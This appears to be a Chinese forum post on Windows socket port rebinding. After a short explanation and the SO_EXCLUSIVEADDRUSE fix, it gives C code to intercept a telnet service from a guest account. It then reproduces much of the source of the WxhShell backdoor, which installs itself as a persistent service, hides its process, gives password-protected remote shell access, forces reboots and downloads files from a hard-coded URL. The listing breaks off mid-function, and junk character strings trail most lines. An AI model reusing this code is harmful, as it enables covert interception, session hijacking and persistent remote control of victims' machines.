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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'y8]_K*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )95f*wte  
`+6R0Ch  
  saddr.sin_family = AF_INET; W9NX=gE4  
lHgs;>U$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rE@T79"  
cGjPxG;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \&U>LwZd?  
Ft}@ 1w5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9tF9T\jW  
#o1=:PQaC  
  这意味着什么?意味着可以进行如下的攻击:  : ]C~gc  
N('&jHF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vpmj||\-  
.\>v0Du  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MEB it  
vWAL^?HUP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I`NjqyTW  
"DYJ21Ut4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U&O: _>~  
N-lkYL-%\j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9 (QJT}qC  
j?'GZ d"B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .Wjs~0c  
t!RiUZAo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !47n[Zs  
<[w=TdCPs  
  #include #%DE;  
  #include -Uml_/rd_  
  #include *}P~P$q%  
  #include    Gz .|]:1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;*MLRXq  
  int main() 21"1NJzP  
  { eJg8,7WC  
  WORD wVersionRequested; t5 G9!Nn  
  DWORD ret; X&kp;W  
  WSADATA wsaData; j]`PSl+w  
  BOOL val; 1I:+MBGin  
  SOCKADDR_IN saddr; O%bEB g  
  SOCKADDR_IN scaddr; vN;mP d~g  
  int err; EFz&N\2  
  SOCKET s; eA<0$Gs,h  
  SOCKET sc; !KUi\yQ1  
  int caddsize; ~@}Bi@*  
  HANDLE mt; eio 4k-  
  DWORD tid;   %7|9sQ:  
  wVersionRequested = MAKEWORD( 2, 2 ); rW$[DdFA5{  
  err = WSAStartup( wVersionRequested, &wsaData ); FJMrs[  
  if ( err != 0 ) { \-g)T}g,I  
  printf("error!WSAStartup failed!\n"); .mR8q+I6  
  return -1; <7~'; K  
  } A}l3cP; `#  
  saddr.sin_family = AF_INET; dkz=CY3p%X  
   q.;u?,|E/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s7F.sg  
%^jMj2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PUUwv_  
  saddr.sin_port = htons(23); wRVUu)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uA< n  
  { RCpR3iC2  
  printf("error!socket failed!\n"); 4%4 }5UYN  
  return -1; W)bLSL]`E  
  } `EaLGzw  
  val = TRUE; 7j-4TY~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {tWf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^~etm  
  { ')cMiX\v  
  printf("error!setsockopt failed!\n"); P5UL4uyl  
  return -1; K|epPGRr  
  } {z{bY\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A6thXs2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A*\.NTM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5?x>9C a  
:;9F>?VN>0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r8RoE`/T  
  { -Fe?R*-g  
  ret=GetLastError(); #pnI\  
  printf("error!bind failed!\n"); )P sY($ &  
  return -1; Bx< <~[Ws}  
  } lN Yt`xp  
  listen(s,2); JJN.ugT}1  
  while(1) M<v%CawS  
  { vQ 6^xvk]  
  caddsize = sizeof(scaddr); ZpQ)IHA.  
  //接受连接请求 4\iOeZRf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]Gsv0Xk1  
  if(sc!=INVALID_SOCKET) YpVD2.jy  
  { T{-CkHf9Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZQV6xoN;r  
  if(mt==NULL) Jcd-  
  { J| w>a  
  printf("Thread Creat Failed!\n"); \| 8  
  break; Wi)_H$KII  
  } 9dx/hFA  
  } |Y ,b?*UF  
  CloseHandle(mt); Hquc o  
  } ZbdZ rE$  
  closesocket(s); X4~y7  
  WSACleanup(); b0Ps5G\ u  
  return 0; #cI{Fe0h  
  }   3EPv"f^V  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]>5/PD,wWy  
  { \"P%`  C  
  SOCKET ss = (SOCKET)lpParam; V2wb%;q  
  SOCKET sc; 3[Qxd{8r  
  unsigned char buf[4096]; T4Pgbop  
  SOCKADDR_IN saddr; (@fHl=! Za  
  long num; m;GCc8  
  DWORD val; )"7iJb<E  
  DWORD ret; AP 2_MV4W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pd_U7&w,5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Dn,^  
  saddr.sin_family = AF_INET; at,XB.}Z]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4O^xY 6m  
  saddr.sin_port = htons(23); SE1=>S%p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '-Vt|O_Q  
  { I 5^!y  
  printf("error!socket failed!\n"); %]}  
  return -1; |ATvS2  
  } -cAo@}v  
  val = 100; _@ qjV~%Sy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;U+3w~  
  { vN;N/mL  
  ret = GetLastError(); 2K/4Rf0;  
  return -1; L [pBB  
  } 4V)kx[j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #lL^?|M  
  { .SU8)T  
  ret = GetLastError(); ;n*.W|Uph  
  return -1; Yi%;|]  
  } KPKt^C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kTOzSiq  
  { Kqb#_hm  
  printf("error!socket connect failed!\n"); y51e%n$  
  closesocket(sc); NJWA3zz   
  closesocket(ss); I-]?"Q7Jz  
  return -1; .ypL=~Rp  
  } ^@s1Z7  
  while(1) g}k`o!q  
  { Y!w`YYKP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z!ZtzD]cb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *&^Pj%DX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N/"{.3{W  
  num = recv(ss,buf,4096,0); Bq%Jh  
  if(num>0) |4;Fd9q^m  
  send(sc,buf,num,0); 0d)M\lG  
  else if(num==0) IL#"~D?  
  break; wDal5GJp  
  num = recv(sc,buf,4096,0); }HYbS8'  
  if(num>0) 2lH&  
  send(ss,buf,num,0); 3Ei#q+7  
  else if(num==0) BLQ6A<  
  break; P64PPbP  
  } >* f-Wde  
  closesocket(ss); un mJbY;t  
  closesocket(sc); O:;w3u7;u  
  return 0 ; l*Gvf_UH  
  } @<hb6bo,N  
%S960  
ZB= E}]v6  
========================================================== [Kg+^N% +  
u&Yz[)+b=g  
下边附上一个代码,,WXhSHELL qd ~BnR$=  
;#W2|'HD  
========================================================== -">;-3,K  
u5`u>.!  
#include "stdafx.h" -:+|zF@f  
oM>l#><nq  
#include <stdio.h> ~ D j8 z+^  
#include <string.h> oGnSPI5KGC  
#include <windows.h> l`lk-nb  
#include <winsock2.h> 4 #MtF'J  
#include <winsvc.h> tTl%oN8Qw  
#include <urlmon.h> M6 "PX *K  
U`(ee*}o  
#pragma comment (lib, "Ws2_32.lib") k_#ak%m/  
#pragma comment (lib, "urlmon.lib") t%0VJB,Q2  
yW=::=  
#define MAX_USER   100 // 最大客户端连接数 y&$A+peJ1  
#define BUF_SOCK   200 // sock buffer NZ:,ph  
#define KEY_BUFF   255 // 输入 buffer KxJ!,F{>H  
%v M-mbX  
#define REBOOT     0   // 重启 x)DMPVB<  
#define SHUTDOWN   1   // 关机 {BN#h[#B{  
G5BfNU  
#define DEF_PORT   5000 // 监听端口 LYTdTP  
Ko<:Z)PS  
#define REG_LEN     16   // 注册表键长度 U)o-8OEZ9  
#define SVC_LEN     80   // NT服务名长度 2~)`N>@  
`KoV_2|  
// 从dll定义API z#wkiCRYm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T4Uev*A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /l ~p=PK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DMr\ TN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n:?a$Ldgm  
Woy m/[i  
// wxhshell配置信息 reu*53r]  
struct WSCFG { W aRw05r  
  int ws_port;         // 监听端口 03X1d-  
  char ws_passstr[REG_LEN]; // 口令 i>`%TW:g  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7;(`MIFXs  
  char ws_regname[REG_LEN]; // 注册表键名 ^}=,g  
  char ws_svcname[REG_LEN]; // 服务名 ~Fcm[eoC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kiaw4_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ty?cC**  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z2~ til  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GR_-9}jQP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L~OvY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "%w u2%i  
?dg [:1R}  
}; k1~&x$G  
e#8Q L  
// default Wxhshell configuration jvL[ JI,b  
struct WSCFG wscfg={DEF_PORT, NH4#  
    "xuhuanlingzhe", IHac:=*Q  
    1, rglXs  
    "Wxhshell", gPI ?C76  
    "Wxhshell", K($Npuu]  
            "WxhShell Service", 6<QQ@5_  
    "Wrsky Windows CmdShell Service", r#p9x[f<Y  
    "Please Input Your Password: ", 4xje$/_d  
  1, WSB 0~+  
  "http://www.wrsky.com/wxhshell.exe", $Ds2>G4c  
  "Wxhshell.exe" B~ GbF*j  
    }; ! n@KU!&k  
N =}A Z{$  
// 消息定义模块 83_h J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zwjgE6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [}=B8#Jl-C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e X|m  
char *msg_ws_ext="\n\rExit."; AQvudx)@"  
char *msg_ws_end="\n\rQuit."; 6A-|[(NS  
char *msg_ws_boot="\n\rReboot..."; uo 8YP<q  
char *msg_ws_poff="\n\rShutdown..."; jV1.Yz (`  
char *msg_ws_down="\n\rSave to "; EV%gF   
wlqksG[B  
char *msg_ws_err="\n\rErr!"; \Gvm9M  
char *msg_ws_ok="\n\rOK!"; yNBfUj -L  
.Yn_*L+4*  
char ExeFile[MAX_PATH]; kn 4`Fa;)O  
int nUser = 0; }&J q}j  
HANDLE handles[MAX_USER]; {4Cmu;u  
int OsIsNt; Wd:uV  
0S!K{xyR  
SERVICE_STATUS       serviceStatus; l'_r:b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $%#!bV  
q>+k@>bk @  
// 函数声明 aX'*pK/-  
int Install(void); ( Erc3Ac8  
int Uninstall(void); K w ]=  
int DownloadFile(char *sURL, SOCKET wsh); 3F2w-+L  
int Boot(int flag); Wh*uaad7  
void HideProc(void); ?CPahU  
int GetOsVer(void); bROLOf4S  
int Wxhshell(SOCKET wsl); {JMVV_}n  
void TalkWithClient(void *cs); 5U$0F$BBp  
int CmdShell(SOCKET sock); '\iCP1>+S  
int StartFromService(void); ^u ~Q/ 4  
int StartWxhshell(LPSTR lpCmdLine); n/:33DAB  
eD6fpe\(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @*( (1(q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1oGw4kD^x  
8<Av@9 *}  
// 数据结构和表定义 )Ql%r?(F+  
SERVICE_TABLE_ENTRY DispatchTable[] = oUU1+F-  
{ e(t\g^X  
{wscfg.ws_svcname, NTServiceMain}, E:nF$#<'N  
{NULL, NULL} NC(~l  
}; zQd 2  
)+DmOsH  
// 自我安装 8{sGNCvU  
int Install(void) _-g&PXH  
{ [7Oe3=  
  char svExeFile[MAX_PATH]; UP,c|  
  HKEY key; zK@@p+n_#.  
  strcpy(svExeFile,ExeFile); 37o; ;  
`b$.%S8uj=  
// 如果是win9x系统,修改注册表设为自启动 ~Mxvq9vaD  
if(!OsIsNt) { 2BwO!Y[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0@oJFJrO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $xN|5;+  
  RegCloseKey(key); fNFY$:4X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }pkzH'$HJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X'iWJ8  
  RegCloseKey(key); S"H2 7  
  return 0; .?$gpM?i  
    } $=4QO  
  } W'M*nR|xo  
} Ysv" 6b}  
else { T6=u P)!K  
a&? :P1$  
// 如果是NT以上系统,安装为系统服务 .$vK&k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7qS)c}Q\  
if (schSCManager!=0) Y}wyw8g/  
{ oUlVI*~ND  
  SC_HANDLE schService = CreateService A*BeR0(  
  ( 3^yK!-Wp(  
  schSCManager, o66}yJzmD  
  wscfg.ws_svcname, jmZI7?<z  
  wscfg.ws_svcdisp, utV_W&  
  SERVICE_ALL_ACCESS, TM%%O :3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , + {'.7#  
  SERVICE_AUTO_START, uwGc@xOgg,  
  SERVICE_ERROR_NORMAL, ^iV)MTT  
  svExeFile, A.w.rVDD  
  NULL, qIT@g"%}t  
  NULL, 'm$L Ij?@  
  NULL, DN6Mo<H  
  NULL, #%O0[kd  
  NULL l.M0`Cn-%  
  ); Iu=(qU  
  if (schService!=0) h/Y'<:  
  { N"ST@/j.A  
  CloseServiceHandle(schService); tQ#n${a@f  
  CloseServiceHandle(schSCManager); 1?l1:}^L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U]rRQ d/:;  
  strcat(svExeFile,wscfg.ws_svcname); do'GlU oMC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'LDQgC*%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \s\?l(ooq"  
  RegCloseKey(key); wUJcmM;  
  return 0; P]C<U aW'!  
    } G' 1'/  
  } =Dj#gV  
  CloseServiceHandle(schSCManager); "\yT7?},  
} 2GG2jky{/  
} zfdl45  
n+M<\  
return 1; m9;SrCN_  
} .T`%tJ-Em  
n `Ac 3A  
// 自我卸载 J<lW<:!3]  
int Uninstall(void) (/$^uWj  
{ !5!<C,U  
  HKEY key; Dw"\/p:-3  
 Nz-&MS  
if(!OsIsNt) { h{qgEIk&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eyxW 0}[  
  RegDeleteValue(key,wscfg.ws_regname); BTxrp  
  RegCloseKey(key); `WS&rmq&'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |N]XJ)?  
  RegDeleteValue(key,wscfg.ws_regname); /gas2k==^  
  RegCloseKey(key); l U]nd[x  
  return 0; e|r`/:M  
  } # f\rt   
} A@u@ift  
} 5bb(/YtFy  
else { NxILRKwO  
?V=CB,^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J[kTlHMD  
if (schSCManager!=0) y1#1Ne_  
{ $:^td/p J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bI`g|v  
  if (schService!=0) !5N.B|N t  
  { -Qe'YBy:  
  if(DeleteService(schService)!=0) { % AgUUn&k  
  CloseServiceHandle(schService); nr#|b`J]  
  CloseServiceHandle(schSCManager); ;FEqe 49  
  return 0; moE2G?R  
  } rT>wg1:  
  CloseServiceHandle(schService); 3(UVg!t  
  } jb)ZLA;L_c  
  CloseServiceHandle(schSCManager); !`r$"}g  
} v` r:=K  
} .S4u-  
_VXN#@y  
return 1; "wc<B4"  
} +H2Qk4XFB  
 AOx[  
// 从指定url下载文件 yh=N@Z*zP  
int DownloadFile(char *sURL, SOCKET wsh) *z2s$EZ  
{ i@'dH3-kO  
  HRESULT hr; LIrb6g&xj_  
char seps[]= "/"; z?//rXuO  
char *token; fXB0j;A  
char *file; Qwc"[N4H  
char myURL[MAX_PATH]; b`_Q8 J  
char myFILE[MAX_PATH]; 048kPXm`  
A2Tw<&Tw(  
strcpy(myURL,sURL); [00m/fT6  
  token=strtok(myURL,seps); nRY5xRvK  
  while(token!=NULL) J=yTbSN\v  
  { rM "l@3hP  
    file=token; h `wD  
  token=strtok(NULL,seps); i6N',&jFU  
  } o"SMbj  
1 {)Q[#l  
GetCurrentDirectory(MAX_PATH,myFILE); et+0FF ,  
strcat(myFILE, "\\"); FPTK`Gd0  
strcat(myFILE, file); 0BsYavCR  
  send(wsh,myFILE,strlen(myFILE),0); B-ESFATc  
send(wsh,"...",3,0); !o-@&q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?1".;foZ  
  if(hr==S_OK) Dhv3jg;lq  
return 0; B1Oq!k  
else \[nut;  
return 1; =Runf +}  
|&jXp%4T  
} Rva$IX ^]  
 C.QO#b  
// 系统电源模块 eiOW#_"\  
int Boot(int flag) 9ll~~zF99|  
{ uVU)d1N  
  HANDLE hToken; zn(PI3+]!  
  TOKEN_PRIVILEGES tkp; Ct|A:/z(  
A70d\i  
  if(OsIsNt) { 'H!XUtFs"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FgI3   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l+0P  
    tkp.PrivilegeCount = 1; ?hM64jI|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3ANQaUC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qei" '~1a  
if(flag==REBOOT) { { "E\Jcjl\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R GX=)  
  return 0; "*H`HRi4T  
} h7I{ 4  
else { c:g'.'/*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8i,K~Bu=  
  return 0; kNL\m[W8$  
} '3H_wd  
  } (tQc  
  else { l@:0e]8|o  
if(flag==REBOOT) { G#1GXFDO{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lh<).<S  
  return 0; [1KuzCcK}  
} bu"!jHPB  
else { 0|b>I!_"g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &VcV$8k  
  return 0; 1i ] ^{;]  
} W}1 ;Z(.*  
} Tb-F]lg$  
.}*" Nv  
return 1; wvPk:1wD5  
} 2Hv+W-6v  
Tac$LS\Q  
// win9x进程隐藏模块 m#F`] {  
void HideProc(void) 9)=ctoZ'  
{ ei{eTp4HpV  
 RX5dO%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8KNZ](Dj  
  if ( hKernel != NULL ) 4H<lm*!^  
  { ?0,Ngrbe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #5j\C+P}|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a@*\o+Su  
    FreeLibrary(hKernel); Qw)c$93  
  } \^%}M!tan  
)F2OT<]m,  
return; -PQv ?5  
} $tS}LN_!  
9&ids!W~yx  
// 获取操作系统版本 I!?}jo3  
int GetOsVer(void) 40<mrVl  
{ _/K_[w 1  
  OSVERSIONINFO winfo; PiYxk+N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6JQ'Ik;$wX  
  GetVersionEx(&winfo); V$?SR44>nH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8&aq/4:q0  
  return 1; J)C/u{o  
  else K96<M);:g  
  return 0; !0cD$^7  
} "-J -k=  
?I@W:#>o  
// 客户端句柄模块 ,4oo=&  
int Wxhshell(SOCKET wsl) bY0|N[ g  
{ o0vUj  
  SOCKET wsh; N8FF3}> g  
  struct sockaddr_in client; @|%2f@h  
  DWORD myID; #lW`{i  
Wiu"k%Qsh  
  while(nUser<MAX_USER) &JI8]JmU)  
{ (J!+(H 8  
  int nSize=sizeof(client); Z)aUt Srf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &9)\wnOS  
  if(wsh==INVALID_SOCKET) return 1; Ez=Olbk  
# 4PVVu<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &pp|U}  
if(handles[nUser]==0) :[!j?)%>  
  closesocket(wsh); ]P?vdgEM&  
else C 6AUNRpl  
  nUser++; Z/;aT -N  
  } I(0~n,=j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w*JGUk  
$ DSZO!pB  
  return 0; %1$,Vs<RH  
} > "=>3  
HoL Et8Q  
// 关闭 socket 3kMf!VL  
void CloseIt(SOCKET wsh) [1 9,&]z  
{ KyQX!,rV  
closesocket(wsh); Hg$lXtn]  
nUser--; ,Vk3kmuvr]  
ExitThread(0); 46&/gehr  
} /d<P-!fK  
~La>?:g <+  
// 客户端请求句柄 EJNU761  
void TalkWithClient(void *cs) >s?S+W[L  
{ :zF,A,)  
'y3!fN =h  
  SOCKET wsh=(SOCKET)cs; ITT@,  
  char pwd[SVC_LEN]; OH(waKq2I  
  char cmd[KEY_BUFF]; +&2%+[nBZ  
char chr[1]; %n:k#  
int i,j; e;}7G  
q(2'\ _`u  
  while (nUser < MAX_USER) { nK%LRcAs  
R[x_j  
if(wscfg.ws_passstr) { [ ~&/s:Vvo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ah+iZ}E%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5S--'=fu+  
  //ZeroMemory(pwd,KEY_BUFF);  O+Y6N  
      i=0; xx%j.zDI]  
  while(i<SVC_LEN) { r #cGop]  
&@Be2!%'9K  
  // 设置超时 Y\?"WGL)p  
  fd_set FdRead; >e[i5  
  struct timeval TimeOut; (jl D+Y_  
  FD_ZERO(&FdRead); <;Zmjeb+#  
  FD_SET(wsh,&FdRead); cP_.&!T  
  TimeOut.tv_sec=8; I75DUJqy]  
  TimeOut.tv_usec=0; o="M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -fHy-Oh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8&`LYdzt  
oHn Ky[1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =.]4;z  
  pwd=chr[0]; SmSH2m-  
  if(chr[0]==0xd || chr[0]==0xa) { ~g ZLY ls  
  pwd=0; 'Xq| Kf (  
  break; o]M5b;1  
  } )ea>%  
  i++; 8i#2d1O  
    } O*)Vhw'pK  
9H`XeQ.  
  // 如果是非法用户,关闭 socket sZ/v^ xk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0*D$R`$  
} WuUk9_ g  
\$T(t/$9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MC.) 2B7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ofw3S |F6  
qm8B8&-  
while(1) { JNXq.;:`Q  
CSq4x5!_7>  
  ZeroMemory(cmd,KEY_BUFF); UIN<2F_  
hAnPXiD  
      // 自动支持客户端 telnet标准   >rKIG~P_  
  j=0; !0LWa"  
  while(j<KEY_BUFF) { =QiI :|eRA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mQ 26K~  
  cmd[j]=chr[0]; (b-MMr  
  if(chr[0]==0xa || chr[0]==0xd) { c>:wd@w  
  cmd[j]=0; 9} M?P  
  break; ?:I*8Fj  
  } hVAn>_(  
  j++; NzOx0WLF  
    } =BAW[%1b  
ryUQU^v  
  // 下载文件 Tc`=f'pP)4  
  if(strstr(cmd,"http://")) { peuZ&yK+"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'UX!*5k<:  
  if(DownloadFile(cmd,wsh)) [H^z-6x:0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9oR@U W1  
  else ;1O_M9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tKx~1-  
  } gS]@I0y8 .  
  else { ZWU)\}}_R  
n QZwC  
    switch(cmd[0]) { , I (d6  
  /quc}"__  
  // 帮助 `yXg{lk  
  case '?': { }DfshZ0QM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e95Lo+:f  
    break; <?}-$  
  } V0.vQ/  
  // 安装 d#rf5<i  
  case 'i': { as4;:  
    if(Install()) dx{bB%?Y\=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tla 5B_  
    else (G4at2YLd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # 0Q]dO  
    break; hl(hJfp  
    } 1&evG-#<:  
  // 卸载 sRL`dEl4l  
  case 'r': { >xYpNtEs  
    if(Uninstall()) 9gEwh<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C>j@,G4  
    else ]kRfB:4ED  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ZoRZ'i  
    break; 1AfnzGvA  
    } }mq6]ZrK  
  // 显示 wxhshell 所在路径 dIa+K?INX  
  case 'p': { xU>WEm2  
    char svExeFile[MAX_PATH]; RD'Q :W  
    strcpy(svExeFile,"\n\r"); #crQ1p) \  
      strcat(svExeFile,ExeFile); 5Y'qaIFR  
        send(wsh,svExeFile,strlen(svExeFile),0);  ~f1%8z  
    break; lVR~Bh  
    } T?soJ]A  
  // 重启 E=CsIK   
  case 'b': { ag#S6E^%S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z.9U}F  
    if(Boot(REBOOT)) mD0f<gJ1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m=A(NKZ   
    else { M!A}NWF  
    closesocket(wsh); ](9Xvy  
    ExitThread(0); q?oP?cCw  
    } w QH<gJE/:  
    break; (*nT(Adk  
    } K>r,(zgVc  
  // 关机 &(G\[RWp\  
